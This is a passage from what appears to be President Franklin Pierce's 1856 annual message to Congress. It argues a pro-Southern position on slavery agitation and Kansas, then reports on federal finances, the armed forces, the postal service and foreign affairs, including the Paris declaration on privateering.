are sincerely attached to the Constitution and the Union.\nThey would upon deliberation shrink with unaffected horror from any\nconscious act of disunion or civil war. But they have entered into a path\nwhich leads nowhere unless it be to civil war and disunion, and which has\nno other possible outlet. They have proceeded thus far in that direction in\nconsequence of the successive stages of their progress having consisted of\na series of secondary issues, each of which professed to be confined within\nconstitutional and peaceful limits, but which attempted indirectly what few\nmen were willing to do directly; that is, to act aggressively against the\nconstitutional rights of nearly one-half of the thirty-one States.In the long series of acts of indirect aggression, the first was the\nstrenuous agitation by citizens of the Northern States, in Congress and out\nof it, of the question of Negro emancipation in the Southern States.The second step in this path of evil consisted of acts of the people of the\nNorthern States, and in several instances of their governments, aimed to\nfacilitate the escape of persons held to service in the Southern States and\nto prevent their extradition when reclaimed according to law and in virtue\nof express provisions of the Constitution. To promote this object,\nlegislative enactments and other means were adopted to take away or defeat\nrights which the Constitution solemnly guaranteed. In order to nullify the\nthen existing act of Congress concerning the extradition of fugitives from\nservice, laws were enacted in many States forbidding their officers, under\nthe severest penalties, to participate in the execution of any act of\nCongress whatever. In this way that system of harmonious cooperation\nbetween the authorities of the United States and of the several States, for\nthe maintenance of their common institutions, which existed in the early\nyears of the Republic was destroyed; conflicts of jurisdiction came to be\nfrequent, and Congress found itself compelled, for the support of the\nConstitution and the vindication of its power, to authorize the appointment\nof new officers charged with the execution of its acts, as if they and the\nofficers of the States were the ministers, respectively, of foreign\ngovernments in a state of mutual hostility rather than fellow-magistrates\nof a common country peacefully subsisting under the protection of one\nwell-constituted Union. Thus here also aggression was followed by reaction,\nand the attacks upon the Constitution at this point did but serve to raise\nup new barriers for its defense and security.The third stage of this unhappy sectional controversy was in connection\nwith the organization of Territorial governments and the admission of new\nStates into the Union. When it was proposed to admit the State of Maine, by\nseparation of territory from that of Massachusetts, and the State of\nMissouri, formed of a portion of the territory ceded by France to the\nUnited States, representatives in Congress objected to the admission of the\nlatter unless with conditions suited to particular views of public policy.\nThe imposition of such a condition was successfully resisted; but at the\nsame period the question was presented of imposing restrictions upon the\nresidue of the territory ceded by France. That question was for the time\ndisposed of by the adoption of a geographical line of limitation.In this connection it should not be forgotten that when France, of her own\naccord, resolved, for considerations of the most farsighted sagacity, to\ncede Louisiana to the United States, and that accession was accepted by the\nUnited States, the latter expressly engaged that \"the inhabitants of the\nceded territory shall be incorporated in the Union of the United States and\nadmitted as soon as possible, according to the principles of the Federal\nConstitution, to the enjoyment of all the rights, advantages, and\nimmunities of citizens of the United States; and in the meantime they shall\nbe maintained and protected in the free enjoyment of their liberty,\nproperty, and the religion which they profess;\" that is to say, while it\nremains in a Territorial condition its inhabitants are maintained and\nprotected in the free enjoyment of their liberty and property, with a right\nthen to pass into the condition of States on a footing of perfect equality\nwith the original States.The enactment which established the restrictive geographical line was\nacquiesced in rather than approved by the States of the Union. It stood on\nthe statute book, however, for a number of years; and the people of the\nrespective States acquiesced in the reenactment of the principle as applied\nto the State of Texas, and it was proposed to acquiesce in its further\napplication to the territory acquired by the United States from Mexico. But\nthis proposition was successfully resisted by the representatives from the\nNorthern States, who, regardless of the statute line, insisted upon\napplying restriction to the new territory generally, whether lying north or\nsouth of it, thereby repealing it as a legislative compromise, and, on the\npart of the North, persistently violating the compact, if compact there\nwas.Thereupon this enactment ceased to have binding virtue in any sense,\nwhether as respects the North or the South, and so in effect it was treated\non the occasion of the admission of the State of California and the\norganization of the Territories of New Mexico, Utah, and Washington.Such was the state of this question when the time arrived for the\norganization of the Territories of Kansas and Nebraska. In the progress of\nconstitutional inquiry and reflection it had now at length come to be seen\nclearly that Congress does not possess constitutional power to impose\nrestrictions of this character upon any present or future State of the\nUnion. In a long series of decisions, on the fullest argument and after the\nmost deliberate consideration, the Supreme Court of the United States had\nfinally determined this point in every form under which the question could\narise, whether as affecting public or private rights--in questions of the\npublic domain, of religion, of navigation, and of servitude.The several States of the Union are by force of the Constitution coequal in\ndomestic legislative power. Congress can not change a law of domestic\nrelation in the State of Maine; no more can it in the State of Missouri.\nAny statute which proposes to do this is a mere nullity; it takes away no\nright, it confers none. If it remains on the statute book unrepealed, it\nremains there only as a monument of error and a beacon of warning to the\nlegislator and the statesman. To repeal it will be only to remove\nimperfection from the statutes, without affecting, either in the sense of\npermission, or of prohibition, the action of the States or of their\ncitizens.Still, when the nominal restriction of this nature, already a dead letter\nin law, was in terms repealed by the last Congress, in a clause of the act\norganizing the Territories of Kansas and Nebraska, that repeal was made the\noccasion of a widespread and dangerous agitation. It was alleged that the\noriginal enactment being a compact of perpetual moral obligation, its\nrepeal constituted an odious breach of faith. An act of Congress, while it\nremains unrepealed, more especially if it be constitutionally valid in the\njudgment of those public functionaries whose duty it is to pronounce on\nthat point, is undoubtedly binding on the conscience of each good citizen\nof the Republic. But in what sense can it be asserted that the enactment in\nquestion was invested with perpetuity and entitled to the respect of a\nsolemn Compact? Between whom was the compact? No distinct contending powers\nof the Government, no separate sections of the Union treating as such,\nentered into treaty stipulations on the subject. It was a mere clause of an\nact of Congress, and, like any other controverted matter of legislation,\nreceived its final shape and was passed by compromise of the conflicting\nopinions or sentiments of the members of Congress. But if it had moral\nauthority over men's consciences, to whom did this authority attach? Not to\nthose of the North, who had repeatedly refused to confirm it by extension\nand who had zealously striven to establish other and incompatible\nregulations upon the subject. And if, as it thus appears, the supposed\ncompact had no obligatory force as to the North, of course it could not\nhave had any as to the South, for all such compacts must be mutual and of\nreciprocal obligation.It has not unfrequently happened that lawgivers, with undue estimation of\nthe value of the law they give or in the view of imparting to it peculiar\nstrength, make it perpetual in terms; but they can not thus bind the\nconscience, the judgment, and the will of those who may succeed them,\ninvested with similar responsibilities and clothed with equal authority.\nMore careful investigation may prove the law to be unsound in principle.\nExperience may show it to be imperfect in detail and impracticable in\nexecution. And then both reason and right combine not merely to justify but\nto require its repeal.The Constitution, supreme, as it is, over all the departments of the\nGovernment--legislative, executive, and judicial--is open to amendment by\nits very terms; and Congress or the States may, in their discretion,\npropose amendment to it, solemn compact though it in truth is between the\nsovereign States of the Union. In the present instance a political\nenactment which had ceased to have legal power or authority of any kind was\nrepealed. The position assumed that Congress had no moral right to enact\nsuch repeal was strange enough, and singularly so in view of the fact that\nthe argument came from those who openly refused obedience to existing laws\nof the land, having the same popular designation and quality as compromise\nacts; nay, more, who unequivocally disregarded and condemned the most\npositive and obligatory injunctions of the Constitution itself, and sought\nby every means within their reach to deprive a portion of their\nfellow-citizens of the equal enjoyment of those rights and privileges\nguaranteed alike to all by the fundamental compact of our Union.This argument against the repeal of the statute line in question was\naccompanied by another of congenial character and equally with the former\ndestitute of foundation in reason and truth. It was imputed that the\nmeasure originated in the conception of extending the limits of slave labor\nbeyond those previously assigned to it, and that such was its natural as\nwell as intended effect; and these baseless assumptions were made, in the\nNorthern States, the ground of unceasing assault upon constitutional\nright.The repeal in terms of a statute, which was already obsolete and also null\nfor unconstitutionality, could have no influence to obstruct or to promote\nthe propagation of conflicting views of political or social institution.\nWhen the act organizing the Territories of Kansas and Nebraska was passed,\nthe inherent effect upon that portion of the public domain thus opened to\nlegal settlement was to admit settlers from all the States of the Union\nalike, each with his convictions of public policy and private interest,\nthere to found, in their discretion, subject to such limitations as the\nConstitution and acts of Congress might prescribe, new States, hereafter to\nbe admitted into the Union. It was a free field, open alike to all, whether\nthe statute line of assumed restriction were repealed or not. That repeal\ndid not open to free competition of the diverse opinions and domestic\ninstitutions a field which without such repeal would have been closed\nagainst them; it found that field of competition already opened, in fact\nand in law. All the repeal did was to relieve the statute book of an\nobjectionable enactment, unconstitutional in effect and injurious in terms\nto a large portion of the States.Is it the fact that in all the unsettled regions of the United States, if\nemigration be left free to act in this respect for itself, without legal\nprohibitions on either side, slave labor will spontaneously go everywhere\nin preference to free labor? Is it the fact that the peculiar domestic\ninstitutions of the Southern States possess relatively so much of vigor\nthat wheresoever an avenue is freely opened to all the world they will\npenetrate to the exclusion of those of the Northern States? Is it the fact\nthat the former enjoy, compared with the latter, such irresistibly superior\nvitality, independent of climate, soil, and all other accidental\ncircumstances, as to be able to produce the supposed result in spite of the\nassumed moral and natural obstacles to its accomplishment and of the more\nnumerous population of the Northern States? The argument of those who\nadvocate the enactment of new laws of restriction and condemn the repeal of\nold ones in effect avers that their particular views of government have no\nself-extending or self-sustaining power of their own, and will go nowhere\nunless forced by act of Congress. And if Congress do but pause for a moment\nin the policy of stern coercion; if it venture to try the experiment of\nleaving men to judge for themselves what institutions will best suit them;\nif it be not strained up to perpetual legislative exertion on this\npoint--if Congress proceed thus to act in the very spirit of liberty, it is\nat once charged with aiming to extend slave labor into all the new\nTerritories of the United States.Of course these imputations on the intentions of Congress in this respect,\nconceived, as they were, in prejudice and disseminated in passion, are\nutterly destitute of any justification in the nature of things and contrary\nto all the fundamental doctrines and principles of civil liberty and\nself-government.While, therefore, in general, the people of the Northern States have never\nat any time arrogated for the Federal Government the power to interfere\ndirectly with the domestic condition of persons in the Southern States,\nbut, on the contrary, have disavowed all such intentions and have shrunk\nfrom conspicuous affiliation with those few who pursue their fanatical\nobjects avowedly through the contemplated means of revolutionary change of\nthe Government and with acceptance of the necessary consequences--a civil\nand servile war--yet many citizens have suffered themselves to be drawn\ninto one evanescent political issue of agitation after another,\nappertaining to the same set of opinions, and which subsided as rapidly as\nthey arose when it came to be seen, as it uniformly did, that they were\nincompatible with the compacts of the Constitution and the existence of the\nUnion. Thus when the acts of some of the States to nullify the existing\nextradition law imposed upon Congress the duty of passing a new one, the\ncountry was invited by agitators to enter into party organization for its\nrepeal; but that agitation speedily ceased by reason of the\nimpracticability of its object. So when the statute restriction upon the\ninstitutions of new States by a geographical line had been repealed, the\ncountry was urged to demand its restoration, and that project also died\nalmost with its birth. Then followed the cry of alarm from the North\nagainst imputed Southern encroachments, which cry sprang in reality from\nthe spirit of revolutionary attack on the domestic institutions of the\nSouth, and, after a troubled existence of a few months, has been rebuked by\nthe voice of a patriotic people.Of this last agitation, one lamentable feature was that it was carried on\nat the immediate expense of the peace and happiness of the people of the\nTerritory of Kansas. That was made the battlefield, not so much of opposing\nfactions or interests within itself as of the conflicting passions of the\nwhole people of the United States. Revolutionary disorder in Kansas had its\norigin in projects of intervention deliberately arranged by certain members\nof that Congress which enacted the law for the organization of the\nTerritory; and when propagandist colonization of Kansas had thus been\nundertaken in one section of the Union for the systematic promotion of its\npeculiar views of policy there ensued as a matter of course a counteraction\nwith opposite views in other sections of the Union.In consequence of these and other incidents, many acts of disorder, it is\nundeniable, have been perpetrated in Kansas, to the occasional interruption\nrather than the permanent suspension of regular government. Aggressive and\nmost reprehensible incursions into the Territory were undertaken both in\nthe North and the South, and entered it on its northern border by the way\nof Iowa, as well as on the eastern by way of Missouri; and there has\nexisted within it a state of insurrection against the constituted\nauthorities, not without countenance from inconsiderate persons in each of\nthe great sections of the Union. But the difficulties in that Territory\nhave been extravagantly exaggerated for purposes of political agitation\nelsewhere. The number and gravity of the acts of violence have been\nmagnified partly by statements entirely untrue and partly by reiterated\naccounts of the same rumors or facts. Thus the Territory has been seemingly\nfilled with extreme violence, when the whole amount of such acts has not\nbeen greater than what occasionally passes before us in single cities to\nthe regret of all good citizens, but without being regarded as of general\nor permanent political consequence.Imputed irregularities in the elections had in Kansas, like occasional\nirregularities of the same description in the States, were beyond the\nsphere of action of the Executive. But incidents of actual violence or of\norganized obstruction of law, pertinaciously renewed from time to time,\nhave been met as they occurred by such means as were available and as the\ncircumstances required, and nothing of this character now remains to affect\nthe general peace of the Union. The attempt of a part of the inhabitants of\nthe Territory to erect a revolutionary government, though sedulously\nencouraged and supplied with pecuniary aid from active agents of disorder\nin some of the States, has completely failed. Bodies of armed men, foreign\nto the Territory, have been prevented from entering or compelled to leave\nit; predatory bands, engaged in acts of rapine under cover of the existing\npolitical disturbances, have been arrested or dispersed, and every\nwell-disposed person is now enabled once more to devote himself in peace to\nthe pursuits of prosperous industry, for the prosecution of which he\nundertook to participate in the settlement of the Territory.It affords me unmingled satisfaction thus to announce the peaceful\ncondition of things in Kansas, especially considering the means to which it\nwas necessary to have recourse for the attainment of the end, namely, the\nemployment of a part of the military force of the United States. The\nwithdrawal of that force from its proper duty of defending the country\nagainst foreign foes or the savages of the frontier to employ it for the\nsuppression of domestic insurrection is, when the exigency occurs, a matter\nof the most earnest solicitude. On this occasion of imperative necessity it\nhas been done with the best results, and my satisfaction in the attainment\nof such results by such means is greatly enhanced by the consideration\nthat, through the wisdom and energy of the present executive of Kansas and\nthe prudence, firmness, and vigilance of the military officers on duty\nthere tranquillity has been restored without one drop of blood having been\nshed in its accomplishment by the forces of the United States.The restoration of comparative tranquillity in that Territory furnishes the\nmeans of observing calmly and appreciating at their just value the events\nwhich have occurred there and the discussions of which the government of\nthe Territory has been the subject. We perceive that controversy concerning\nits future domestic institutions was inevitable; that no human prudence, no\nform of legislation, no wisdom on the part of Congress, could have\nprevented it.It is idle to suppose that the particular provisions of their organic law\nwere the cause of agitation. Those provisions were but the occasion, or the\npretext, of an agitation which was inherent in the nature of things.\nCongress legislated upon the subject in such terms as were most consonant\nwith the principle of popular sovereignty which underlies our Government.\nIt could not have legislated otherwise without doing violence to another\ngreat principle of our institutions--the imprescriptible right of equality\nof the several States.We perceive also that sectional interests and party passions have been the\ngreat impediment to the salutary operation of the organic principles\nadopted and the chief cause of the successive disturbances in Kansas. The\nassumption that because in the organization of the Territories of Nebraska\nand Kansas Congress abstained from imposing restraints upon them to which\ncertain other Territories had been subject, therefore disorders occurred in\nthe latter Territory, is emphatically contradicted by the fact that none\nhave occurred in the former. Those disorders were not the consequence, in\nKansas, of the freedom of self-government conceded to that Territory by\nCongress, but of unjust interference on the part of persons not inhabitants\nof the Territory. Such interference, wherever it has exhibited itself by\nacts of insurrectionary character or of obstruction to process of law, has\nbeen repelled or suppressed by all the means which the Constitution and the\nlaws place in the hands of the Executive.In those parts of the United States where, by reason of the inflamed state\nof the public mind, false rumors and misrepresentations have the greatest\ncurrency it has been assumed that it was the duty of the Executive not only\nto suppress insurrectionary movements in Kansas, but also to see to the\nregularity of local elections. It needs little argument to show that the\nPresident has no such power. All government in the United States rests\nsubstantially upon popular election. The freedom of elections is liable to\nbe impaired by the intrusion of unlawful votes or the exclusion of lawful\nones, by improper influences, by violence, or by fraud. But the people of\nthe United States are themselves the all sufficient guardians of their own\nrights, and to suppose that they will not remedy in due season any such\nincidents of civil freedom is to suppose them to have ceased to be capable\nof self-government. The President of the United States has not power to\ninterpose in elections, to see to their freedom, to canvass their votes, or\nto pass upon their legality in the Territories any more than in the States.\nIf he had such power the Government might be republican in form, but it\nwould be a monarchy in fact; and if he had undertaken to exercise it in the\ncase of Kansas he would have been justly subject to the charge of\nusurpation and of violation of the dearest rights of the people of the\nUnited States.Unwise laws, equally with irregularities at elections, are in periods of\ngreat excitement the occasional incidents of even the freest and best\npolitical institutions; but all experience demonstrates that in a country\nlike ours, where the right of self-constitution exists in the completest\nform, the attempt to remedy unwise legislation by resort to revolution is\ntotally out of place, inasmuch as existing legal institutions afford more\nprompt and efficacious means for the redress of wrong.I confidently trust that now, when the peaceful condition of Kansas affords\nopportunity for calm reflection and wise legislation, either the\nlegislative assembly of the Territory or Congress will see that no act\nshall remain on its statute book violative of the provisions of the\nConstitution or subversive of the great objects for which that was ordained\nand established, and will take all other necessary steps to assure to its\ninhabitants the enjoyment, without obstruction or abridgment, of all the\nconstitutional rights, privileges, and immunities of citizens of the United\nStates, as contemplated by the organic law of the Territory.Full information in relation to recent events in this Territory will be\nfound in the documents communicated herewith from the Departments of State\nand War.I refer you to the report of the Secretary of the Treasury for particular\ninformation concerning the financial condition of the Government and the\nvarious branches of the public service connected with the Treasury\nDepartment.During the last fiscal year the receipts from customs were for the first\ntime more than $64,000,000, and from all sources $73,918,141, which, with\nthe balance on hand up to the 1st of July, 1855, made the total resources\nof the year amount to $92,850,117. The expenditures, including $3,000,000\nin execution of the treaty with Mexico and excluding sums paid on account\nof the public debt, amounted to $60,172,401, and including the latter to\n$72,948,792, the payment on this account having amounted to $12,776,390.On the 4th of March, 1853, the amount of the public debt was $69,129,937.\nThere was a subsequent increase of $2,750,000 for the debt of Texas, making\na total of $71,879,937. Of this the sum of $45,525,319, including premium,\nhas been discharged, reducing the debt to $30,963,909, all which might be\npaid within a year without embarrassing the public service, but being not\nyet due and only redeemable at the option of the holder, can not be pressed\nto payment by the Government.On examining the expenditures of the last five years it will be seen that\nthe average, deducting payments on account of the public debt and\n$10,000,000 paid by treaty to Mexico, has been but about $48,000,000. It is\nbelieved that under an economical administration of the Government the\naverage expenditure for the ensuing five years will not exceed that sum,\nunless extraordinary occasion for its increase should occur. The acts\ngranting bounty lands will soon have been executed, while the extension of\nour frontier settlements will cause a continued demand for lands and\naugmented receipts, probably, from that source. These considerations will\njustify a reduction of the revenue from customs so as not to exceed\nforty-eight or fifty million dollars. I think the exigency for such\nreduction is imperative, and again urge it upon the consideration of\nCongress.The amount of reduction, as well as the manner of effecting it, are\nquestions of great and general interest, it being essential to industrial\nenterprise and the public prosperity, as well as the dictate of obvious\njustice, that the burden of taxation be made to rest as equally as possible\nupon all classes and all sections and interests of the country.I have heretofore recommended to your consideration the revision of the\nrevenue laws, prepared under the direction of the Secretary of the\nTreasury, and also legislation upon some special questions affecting the\nbusiness of that Department, more especially the enactment of a law to\npunish the abstraction of official books or papers from the files of the\nGovernment and requiring all such books and papers and all other public\nproperty to be turned over by the outgoing officer to his successor; of a\nlaw requiring disbursing officers to deposit all public money in the vaults\nof the Treasury or in other legal depositories, where the same are\nconveniently accessible, and a law to extend existing penal provisions to\nall persons who may become possessed of public money by deposit or\notherwise and who shall refuse or neglect on due demand to pay the same\ninto the Treasury. I invite your attention anew to each of these objects.The Army during the past year has been so constantly employed against\nhostile Indians in various quarters that it can scarcely be said, with\npropriety of language, to have been a peace establishment. Its duties have\nbeen satisfactorily performed, and we have reason to expect as a result of\nthe year's operations greater security to the frontier inhabitants than has\nbeen hitherto enjoyed. Extensive combinations among the hostile Indians of\nthe Territories of Washington and Oregon at one time threatened the\ndevastation of the newly formed settlements of that remote portion of the\ncountry. From recent information we are permitted to hope that the\nenergetic and successful operations conducted there will prevent such\ncombinations in future and secure to those Territories an opportunity to\nmake steady progress in the development of their agricultural and mineral\nresources.Legislation has been recommended by me on previous occasions to cure\ndefects in the existing organization and to increase the efficiency of the\nArmy, and further observation has but served to confirm me in the views\nthen expressed and to enforce on my mind the conviction that such measures\nare not only proper, but necessary.I have, in addition, to invite the attention of Congress to a change of\npolicy in the distribution of troops and to the necessity of providing a\nmore rapid increase of the military armament. For details of these and\nother subjects relating to the Army I refer to the report of the Secretary\nof War.The condition of the Navy is not merely satisfactory, but exhibits the most\ngratifying evidences of increased vigor. As it is comparatively small, it\nis more important that it should be as complete as possible in all the\nelements of strength; that it should be efficient in the character of its\nofficers, in the zeal and discipline of its men, in the reliability of its\nordnance, and in the capacity of its ships. In all these various qualities\nthe Navy has made great progress within the last few years. The execution\nof the law of Congress of February 28, 1855, \"to promote the efficiency of\nthe Navy,\" has been attended by the most advantageous results. The law for\npromoting discipline among the men is found convenient and salutary. The\nsystem of granting an honorable discharge to faithful seamen on the\nexpiration of the period of their enlistment and permitting them to\nreenlist after a leave of absence of a few months without cessation of pay\nis highly beneficial in its influence. The apprentice system recently\nadopted is evidently destined to incorporate into the service a large\nnumber of our countrymen, hitherto so difficult to procure. Several hundred\nAmerican boys are now on a three years' cruise in our national vessels and\nwill return well-trained seamen. In the Ordnance Department there is a\ndecided and gratifying indication of progress, creditable to it and to the\ncountry. The suggestions of the Secretary of the Navy in regard to further\nimprovement in that branch of the service I commend to your favorable\naction. The new frigates ordered by Congress are now afloat and two of them\nin active service. They are superior models of naval architecture, and with\ntheir formidable battery add largely to public strength and security. I\nconcur in the views expressed by the Secretary of the Department in favor\nof a still further increase of our naval force.The report of the Secretary of the Interior presents facts and views in\nrelation to internal affairs over which the supervision of his Department\nextends of much interest and importance.The aggregate sales of the public lands during the last fiscal year amount\nto 9,227,878 acres, for which has been received the sum of $8,821,414.\nDuring the same period there have been located with military scrip and land\nwarrants and for other purposes 30,100,230 acres, thus making a total\naggregate of 39,328,108 acres. On the 30th of September last surveys had\nbeen made of 16,873,699 acres, a large proportion of which is ready for\nmarket.The suggestions in this report in regard to the complication and\nprogressive expansion of the business of the different bureaus of the\nDepartment, to the pension system, to the colonization of Indian tribes,\nand the recommendations in relation to various improvements in the District\nof Columbia are especially commended to your consideration.The report of the Postmaster-General presents fully the condition of that\nDepartment of the Government. Its expenditures for the last fiscal year\nwere $10,407,868 and its gross receipts $7,620,801, making an excess of\nexpenditure over receipts of $2,787,046. The deficiency of this Department\nis thus $744,000 greater than for the year ending June 30, 1853. Of this\ndeficiency $330,000 is to be attributed to the additional compensation\nallowed to postmasters by the act of Congress of June 22, 1854. The mail\nfacilities in every part of the country have been very much increased in\nthat period, and the large addition of railroad service, amounting to 7,908\nmiles, has added largely to the cost of transportation.The inconsiderable augmentation of the income of the Post-Office Department\nunder the reduced rates of postage and its increasing expenditures must for\nthe present make it dependent to some extent upon the Treasury for support.\nThe recommendations of the Postmaster-General in relation to the abolition\nof the franking privilege and his views on the establishment of mail\nsteamship lines deserve the consideration of Congress. I also call the\nspecial attention of Congress to the statement of the Postmaster-General\nrespecting the sums now paid for the transportation of mails to the Panama\nRailroad Company, and commend to their early and favorable consideration\nthe suggestions of that officer in relation to new contracts for mail\ntransportation upon that route, and also upon the Tehuantepec and Nicaragua\nroutes.The United States continue in the enjoyment of amicable relations with all\nforeign powers.When my last annual message was transmitted to Congress two subjects of\ncontroversy, one relating to the enlistment of soldiers in this country for\nforeign service and the other to Central America, threatened to disturb the\ngood understanding between the United States and Great Britain. Of the\nprogress and termination of the former question you were informed at the\ntime, and the other is now in the way of satisfactory adjustment.The object of the convention between the United States and Great Britain of\nthe 19th of April, 1850, was to secure for the benefit of all nations the\nneutrality and the common use of any transit way or interoceanic\ncommunication across the Isthmus of Panama which might be opened within the\nlimits of Central America. The pretensions subsequently asserted by Great\nBritain to dominion or control over territories in or near two of the\nroutes, those of Nicaragua and Honduras, were deemed by the United States\nnot merely incompatible with the main object of the treaty, but opposed\neven to its express stipulations. Occasion of controversy on this point has\nbeen removed by an additional treaty, which our minister at London has\nconcluded, and which will be immediately submitted to the Senate for its\nconsideration. Should the proposed supplemental arrangement be concurred in\nby all the parties to be affected by it, the objects contemplated by the\noriginal convention will have been fully attained.The treaty between the United States and Great Britain of the 5th of June,\n1854, which went into effective operation in 1855, put an end to causes of\nirritation between the two countries, by securing to the United States the\nright of fishery on the coast of the British North American Provinces, with\nadvantages equal to those enjoyed by British subjects. Besides the signal\nbenefits of this treaty to a large class of our citizens engaged in a\npursuit connected to no inconsiderable degree with our national prosperity\nand strength, it has had a favorable effect upon other interests in the\nprovision it made for reciprocal freedom of trade between the United States\nand the British Provinces in America. The exports of domestic articles to\nthose Provinces during the last year amounted to more than $22,000,000,\nexceeding those of the preceding year by nearly $7,000,000; and the imports\ntherefrom during the same period amounted to more than twenty-one million,\nan increase of six million upon those of the previous year.The improved condition of this branch of our commerce is mainly\nattributable to the above-mentioned treaty.Provision was made in the first article of that treaty for a commission to\ndesignate the mouths of rivers to which the common right of fishery on the\ncoast of the United States and the British Provinces was not to extend.\nThis commission has been employed a part of two seasons, but without much\nprogress in accomplishing the object for which it was instituted, in\nconsequence of a serious difference of opinion between the commissioners,\nnot only as to the precise point where the rivers terminate, but in many\ninstances as to what constitutes a river. These difficulties, however, may\nbe overcome by resort to the umpirage provided for by the treaty.The efforts perseveringly prosecuted since the commencement of my\nAdministration to relieve our trade to the Baltic from the exaction of\nSound dues by Denmark have not yet been attended with success. Other\ngovernments have also sought to obtain a like relief to their commerce, and\nDenmark was thus induced to propose an arrangement to all the European\npowers interested in the subject, and the manner in which her proposition\nwas received warranting her to believe that a satisfactory arrangement with\nthem could soon be concluded, she made a strong appeal to this Government\nfor temporary suspension of definite action on its part, in consideration\nof the embarrassment which might result to her European negotiations by an\nimmediate adjustment of the question with the United States. This request\nhas been acceded to upon the condition that the sums collected after the\n16th of June last and until the 16th of June next from vessels and cargoes\nbelonging to our merchants are to be considered as paid under protest and\nsubject to future adjustment. There is reason to believe that an\narrangement between Denmark and the maritime powers of Europe on the\nsubject will be soon concluded, and that the pending negotiation with the\nUnited States may then be resumed and terminated in a satisfactory manner.With Spain no new difficulties have arisen, nor has much progress been made\nin the adjustment of pending ones.Negotiations entered into for the purpose of relieving our commercial\nintercourse with the island of Cuba of some of its burdens and providing\nfor the more speedy settlement of local disputes growing out of that\nintercourse have not yet been attended with any results. Soon after the\ncommencement of the late war in Europe this Government submitted to the\nconsideration of all maritime nations two principles for the security of\nneutral commerce--one that the neutral flag should cover enemies' goods,\nexcept articles contraband of war, and the other that neutral property on\nboard merchant vessels of belligerents should be exempt from condemnation,\nwith the exception of contraband articles. These were not presented as new\nrules of international law, having been generally claimed by neutrals,\nthough not always admitted by belligerents. One of the parties to the war\n(Russia), as well as several neutral powers, promptly acceded to these\npropositions, and the two other principal belligerents (Great Britain and\nFrance) having consented to observe them for the present occasion, a\nfavorable opportunity seemed to be presented for obtaining a general\nrecognition of them, both in Europe and America. But Great Britain and\nFrance, in common with most of the States of Europe, while forbearing to\nreject, did not affirmatively act upon the overtures of the United States.While the question was in this position the representatives of Russia,\nFrance, Great Britain, Austria, Prussia, Sardinia, and Turkey, assembled at\nParis, took into consideration the subject of maritime rights, and put\nforth a declaration containing the two principles which this Government had\nsubmitted nearly two years before to the consideration of maritime powers,\nand adding thereto the following propositions: \"Privateering is and remains\nabolished,\" and \"Blockades in order to be binding must be effective; that\nis to say, maintained by a force sufficient really to prevent access to the\ncoast of the enemy;\" and to the declaration thus composed of four points,\ntwo of which had already been proposed by the United States, this\nGovernment has been invited to accede by all the powers represented at\nParis except Great Britain and Turkey. To the last of the two additional\npropositions--that in relation to blockades--there can certainly be no\nobjection. It is merely the definition of what shall constitute the\neffectual investment of a blockaded place, a definition for which this\nGovernment has always contended, claiming indemnity for losses where a\npractical violation of the rule thus defined has been injurious to our\ncommerce. As to the remaining article of the declaration of the conference\nof Paris, that \"privateering is and remains abolished,\" I certainly can not\nascribe to the powers represented in the conference of Paris any but\nliberal and philanthropic views in the attempt to change the unquestionable\nrule of maritime law in regard to privateering. Their proposition was\ndoubtless intended to imply approval of the principle that private property\nupon the ocean, although it might belong to the citizens of a belligerent\nstate, should be exempted from capture; and had that proposition been so\nframed as to give full effect to the principle, it would have received my\nready assent on behalf of the United States. But the measure proposed is\ninadequate to that purpose. It is true that if adopted private property\nupon the ocean would be withdrawn from one mode of plunder, but left\nexposed meanwhile to another mode, which could be used with increased\neffectiveness. The aggressive capacity of great naval powers would be\nthereby augmented, while the defensive ability of others would be reduced.\nThough the surrender of the means of prosecuting hostilities by employing\nprivateers, as proposed by the conference of Paris, is mutual in terms, yet\nin practical effect it would be the relinquishment of a right of little\nvalue to one class of states, but of essential importance to another and a\nfar larger class. It ought not to have been anticipated that a measure so\ninadequate to the accomplishment of the proposed object and so unequal in\nits operation would receive the assent of all maritime powers. Private\nproperty would be still left to the depredations of the public armed\ncruisers.I have expressed a readiness on the part of this Government to accede to\nall the principles contained in the declaration of the conference of Paris\nprovided that the one relating to the abandonment of privateering can be so\namended as to effect the object for which, as is presumed, it was\nintended--the immunity of private property on the ocean from hostile\ncapture. To effect this object, it is proposed to add to the declaration\nthat \"privateering is and remains abolished\" the following amendment:And that the private property of subjects and citizens of a belligerent on\nthe high seas shall be exempt from seizure by the public armed vessels of\nthe other belligerent, except it be contraband.This amendment has been presented not only to the powers which have asked\nour assent to the declaration to abolish privateering, but to all other\nmaritime states. Thus far it has not been rejected by any, and is favorably\nentertained by all which have made any communication in reply.Several of the governments regarding with favor the proposition of the\nUnited States have delayed definitive action upon it only for the purpose\nof consulting with others, parties to the conference of Paris. I have the\nsatisfaction of stating, however, that the Emperor of Russia has entirely\nand explicitly approved of that modification and will cooperate in\nendeavoring to obtain the assent of other powers, and that assurances of a\nsimilar purport have been received in relation to the disposition of the\nEmperor of the French. The present aspect of this important subject allows\nus to cherish the hope that a principle so humane in its character, so just\nand equal in its operation, so essential to the prosperity of commercial\nnations, and so consonant to the sentiments of this enlightened period of\nthe world will command the approbation of all maritime powers, and thus be\nincorporated into the code of international law.My views on the subject are more fully set forth in the reply of the\nSecretary of State, a copy of which is herewith transmitted, to the\ncommunications on the subject made to this Government, especially to the\ncommunication of France.The Government of the United States has at all times regarded with friendly\ninterest the other States of America, formerly, like this country, European\ncolonies, and now independent members of the great family of nations. But\nthe unsettled condition of some of them, distracted by frequent\nrevolutions, and thus incapable of regular and firm internal\nadministration, has tended to embarrass occasionally our public intercourse\nby reason of wrongs which our citizens suffer at their hands, and which\nthey are slow to redress.Unfortunately, it is against the Republic of Mexico, with which it is our\nspecial desire to maintain a good understanding, that such complaints are\nmost numerous; and although earnestly urged upon its attention, they have\nnot as yet received the consideration which this Government had a right to\nexpect. While reparation for past injuries has been withheld, others have\nbeen added. The political condition of that country, however, has been such\nas to demand forbearance on the part of the United States. I shall continue\nmy efforts to procure for the wrongs of our citizens that redress which is\nindispensable to the continued friendly association of the two Republics.The peculiar condition of affairs in Nicaragua in the early part of the\npresent year rendered it important that this Government should have\ndiplomatic relations with that State. Through its territory had been opened\none of the principal thoroughfares across the isthmus connecting North and\nSouth America, on which a vast amount of property was transported and to\nwhich our citizens resorted in great numbers in passing between the\nAtlantic and Pacific coasts of the United States. The protection of both\nrequired that the existing power in that State should be regarded as a\nresponsible Government, and its minister was accordingly received. But he\nremained here only a short time. Soon thereafter the political affairs of\nNicaragua underwent unfavorable change and became involved in much\nuncertainty and confusion. Diplomatic representatives from two contending\nparties have been recently sent to this Government, but with the imperfect\ninformation possessed it was not 